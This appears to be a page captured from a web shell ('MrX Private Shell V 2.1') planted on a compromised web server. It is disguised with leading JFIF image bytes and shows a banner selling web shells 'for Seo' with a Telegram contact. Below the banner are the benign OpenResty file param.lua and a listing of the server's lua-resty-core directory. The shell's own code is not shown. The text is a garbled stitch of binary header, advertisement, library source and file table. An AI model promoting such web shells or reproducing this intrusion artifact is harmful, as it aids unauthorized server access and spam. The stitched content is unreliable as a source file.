����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
-- Copyright (C) Yichun Zhang (agentzh)
local ffi = require 'ffi'
local base = require "resty.core.base"
require "resty.core.phase" -- for ngx.get_phase
local C = ffi.C
local ffi_str = ffi.string
local FFI_AGAIN = base.FFI_AGAIN
local FFI_OK = base.FFI_OK
local get_request = base.get_request
local get_string_buf = base.get_string_buf
local getmetatable = getmetatable
local ngx = ngx
local ngx_phase = ngx.get_phase
local _M = {
version = base.version
}
ffi.cdef[[
typedef unsigned char u_char;
void ngx_http_lua_ffi_get_setby_param(ngx_http_request_t *r, int idx,
u_char **data, size_t *len);
int ngx_http_lua_ffi_get_body_filter_param_eof(ngx_http_request_t *r);
int ngx_http_lua_ffi_get_body_filter_param_body(ngx_http_request_t *r,
u_char **data_p, size_t *len_p);
int ngx_http_lua_ffi_copy_body_filter_param_body(ngx_http_request_t *r,
u_char *data);
]]
local data_p = ffi.new("unsigned char*[1]")
local len_p = ffi.new("size_t[1]")
local function get_setby_param(r, idx)
C.ngx_http_lua_ffi_get_setby_param(r, idx, data_p, len_p)
if len_p[0] == 0 then
return nil
end
return ffi_str(data_p[0], len_p[0])
end
local function get_body_filter_param(r, idx)
if idx == 1 then
data_p[0] = nil
local rc = C.ngx_http_lua_ffi_get_body_filter_param_body(r, data_p,
len_p)
if rc == FFI_AGAIN then
local buf = get_string_buf(len_p[0])
assert(C.ngx_http_lua_ffi_copy_body_filter_param_body(r, buf)
== FFI_OK)
return ffi_str(buf, len_p[0])
end
if len_p[0] == 0 then
return ""
end
return ffi_str(data_p[0], len_p[0])
elseif idx == 2 then
local rc = C.ngx_http_lua_ffi_get_body_filter_param_eof(r)
return rc == 1
else
return nil
end
end
local function get_param(tb, idx)
local r = get_request()
if not r then
error("no request found")
end
local phase = ngx_phase()
if phase == "set" then
return get_setby_param(r, idx)
end
if phase == "body_filter" then
return get_body_filter_param(r, idx)
end
error("API disabled in the current context")
end
do
local mt = getmetatable(ngx.arg)
mt.__index = get_param
end
return _M
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| base.lua | File | 5.96 KB | 0644 |
|
| base64.lua | File | 3.66 KB | 0644 |
|
| coroutine.lua | File | 720 B | 0644 |
|
| ctx.lua | File | 3.89 KB | 0644 |
|
| exit.lua | File | 1.41 KB | 0644 |
|
| hash.lua | File | 3.92 KB | 0644 |
|
| misc.lua | File | 5.7 KB | 0644 |
|
| ndk.lua | File | 2.13 KB | 0644 |
|
| param.lua | File | 2.35 KB | 0644 |
|
| phase.lua | File | 1.65 KB | 0644 |
|
| regex.lua | File | 34.61 KB | 0644 |
|
| request.lua | File | 11.84 KB | 0644 |
|
| response.lua | File | 6.48 KB | 0644 |
|
| shdict.lua | File | 26.56 KB | 0644 |
|
| socket.lua | File | 15.11 KB | 0644 |
|
| time.lua | File | 4.64 KB | 0644 |
|
| uri.lua | File | 3.03 KB | 0644 |
|
| utils.lua | File | 972 B | 0644 |
|
| var.lua | File | 3.82 KB | 0644 |
|
| worker.lua | File | 3.41 KB | 0644 |
|